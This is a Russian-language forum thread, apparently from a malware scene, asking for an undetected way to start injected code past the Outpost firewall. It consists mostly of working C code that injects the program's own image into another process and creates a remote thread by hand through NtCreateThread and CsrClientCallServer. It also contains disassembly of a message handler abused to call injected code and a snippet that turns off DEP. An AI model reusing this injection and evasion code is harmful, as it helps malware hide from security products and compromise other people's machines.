Может кто знает не палевный аналог xRtlCreateUserThread, а то аутпост ругается, инжектимся все гуд , а вот запустится не можем.
Буду благодарен!!
Буду благодарен!!
NTSTATUS NtInjectProcess(DWORD ( WINAPI *pFunction )( LPVOID ),PWCHAR szwProcessName)
{
NTSTATUS NtStatus;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes,NULL,0,NULL,NULL);
// enable debug privilege
NtStatus = NtSetPrivilege(SE_DEBUG_PRIVILEGE);
if (NT_SUCCESS(NtStatus))
{
HANDLE hProcess;
DWORD dwProcessId;
CLIENT_ID C_ID;
NtGetProcessId(szwProcessName,&dwProcessId);
C_ID.UniqueProcess = (HANDLE)dwProcessId;
C_ID.UniqueThread = NULL;
// get remote process descriptor
NtStatus = NtOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&ObjectAttributes,&C_ID);
if (NT_SUCCESS(NtStatus))
{
DWORD dwSelfSize;
PVOID pSelfBaseAddress = GetPEB()->ImageBaseAddress;
// calculate self size
dwSelfSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(pSelfBaseAddress) + ((PIMAGE_DOS_HEADER)(pSelfBaseAddress))->e_lfanew + sizeof(DWORD)+ sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
// allocate in target process memory
NtStatus = NtAllocateVirtualMemory(hProcess,&pSelfBaseAddress,0,&dwSelfSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if (NT_SUCCESS(NtStatus))
{
// write self PE image
DWORD WriteBytes;
NtStatus = NtWriteVirtualMemory(hProcess,pSelfBaseAddress,pSelfBaseAddress,dwSelfSize,&WriteBytes);
if (NT_SUCCESS(NtStatus))
{
// Create stack size for remote thread
SYSTEM_BASIC_INFORMATION SysInfo;
NtStatus = NtQuerySystemInformation(SystemBasicInformation,&SysInfo,sizeof(SysInfo),NULL);
if (NT_SUCCESS(NtStatus))
{
// default stack size of remote thread
DWORD dwStackSize = SysInfo.uAllocationGranularity;
// allocate reserve and commit memory onto stack
PVOID pStack = NULL;
NtStatus = NtAllocateVirtualMemory(hProcess,&pStack,0,&dwStackSize, MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
if (NT_SUCCESS(NtStatus))
{
INITIAL_TEB InitialTeb;
CONTEXT ThreadContext;
PVOID lpParametr = pSelfBaseAddress; //my parametr
// fill TEB
InitialTeb.OldInitialTeb.OldStackBase = NULL;
InitialTeb.OldInitialTeb.OldStackLimit = NULL;
InitialTeb.StackAllocationBase = pStack;
InitialTeb.StackBase = (PVOID)((DWORD)pStack + dwStackSize);
InitialTeb.StackLimit = pStack;
// fill CONTEXT
ThreadContext.Eax = 0L;
ThreadContext.Ebx = 1L;
ThreadContext.Ecx = 2L;
ThreadContext.Edx = 3L;
ThreadContext.Esi = 4L;
ThreadContext.Edi = 5L;
ThreadContext.Ebp = 0L;
ThreadContext.SegGs = 0;
ThreadContext.SegFs = 0x38; // KGDT_R3_TEB
ThreadContext.SegEs = 0x20; // KGDT_R3_DATA;
ThreadContext.SegDs = 0x20; // KGDT_R3_DATA;
ThreadContext.SegSs = 0x20; // KGDT_R3_DATA;
ThreadContext.SegCs = 0x18; // KGDT_R3_CODE;
ThreadContext.EFlags = 0x200L; // force interrupts on, clear all else.
ThreadContext.Esp = (DWORD)InitialTeb.StackBase;
ThreadContext.Eip = (ULONG)pFunction; // thread function
ThreadContext.ContextFlags = CONTEXT_FULL;
ThreadContext.Esp -= sizeof(lpParametr); // Parametr size to stack
NtStatus = NtWriteVirtualMemory(hProcess,(PVOID)ThreadContext.Esp,&lpParametr,sizeof(lpParametr),NULL);
if (NT_SUCCESS(NtStatus))
{
ULONG OldProtect;
ThreadContext.Esp -= sizeof(lpParametr); // Reserve room for ret
NtStatus = NtProtectVirtualMemory(hProcess,&pStack,&dwStackSize,PAGE_GUARD | PAGE_READWRITE,&OldProtect);
if (NT_SUCCESS(NtStatus))
{
HANDLE hRemoteThread;
CLIENT_ID ThreadClientId;
NtStatus = NtCreateThread(&hRemoteThread,THREAD_ALL_ACCESS,&ObjectAttributes,hProcess,&ThreadClientId,&ThreadContext,&InitialTeb,TRUE);
if (NT_SUCCESS(NtStatus))
{
BASE_API_MSG BaseApiMsg;
PBASE_CREATETHREAD_MSG pBaseCreateThread;
MyZeroMemory(&BaseApiMsg,sizeof(BASE_API_MSG),0);
pBaseCreateThread = (PBASE_CREATETHREAD_MSG)&BaseApiMsg.u.BaseCreateThread;
pBaseCreateThread->hThread = hRemoteThread;
pBaseCreateThread->ClientId = ThreadClientId;
// inform client server subsystem of new thread in process
NtStatus = CsrClientCallServer((PCSR_API_MSG)&BaseApiMsg,0,0x10001,0x0C);
if (NT_SUCCESS(NtStatus))
{
NtStatus = NtResumeThread(hRemoteThread,NULL);
}
NtClose(hRemoteThread);
}
}
}
}
}
}
}
NtClose(hProcess);
}
}
return NtStatus;
OUT PCLIENT_ID ClientIdOUT PCLIENT_ID ClientId , <------ вот на эту структурку(8 байт она)
;собственно сам обработчек этой шняги
; msg = WM_USER+384(0x580)
;01003705 |. 3BDF CMP EBX,EDI ;ebx = lParam
;01003707 |.^ 0F84 C7E7FFFF JE 01001ED4
;0100370D |. 8B4D B8 MOV ECX,DWORD PTR SS:[LOCAL.18];ecx = pointer 1
;01003710 |. 8901 MOV DWORD PTR DS:[ECX],EAX ;eax = wParam, save in pointer 1
;01003712 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] ;ecx = addr virt func buff
;01003714 |. 50 PUSH EAX
;01003715 |. FF51 04 CALL DWORD PTR DS:[ECX+4] ;addr in virt func buff+4 - call (wParam)
;01003718 |. 891E MOV DWORD PTR DS:[ESI],EBX ; ну а тут вызов примерно той же х#йни
;0100371A |. 8B03 MOV EAX,DWORD PTR DS:[EBX] ; тока по указателю в wParam
;0100371C |. 53 PUSH EBX
;0100371D |. FF50 04 CALL DWORD PTR DS:[EAX+4] ;addr in virt func buff+4 - call (lParam)
;01003720 |.^ E9 AFE7FFFF JMP 01001ED4
;01003712 |. 8B08 MOV ECX,DWORD PTR DS:[EAX] ;ecx = addr virt func buff
MOV ECX,DWORD PTR DS:[EAX];ecx = addr virt func buff (wParam)
PUSH EAX
CALL DWORD PTR DS:[ECX+4]
finded_code:;просто пример, ибо такова именно кодеса, думаю не найдеца в АП
push 0
call dword ptr[ecx+(offset addrSetProcessDEPPolicy - offset p_wParam);вызов SetProcessDEPPolicy адрес которой находится по смещению все в том же буфере адресуемом по wParam
ret 4
MOV EAX,DWORD PTR DS:[EBX]; eax = addr virt func buff (lParam)
PUSH EBX
CALL DWORD PTR DS:[EAX+4]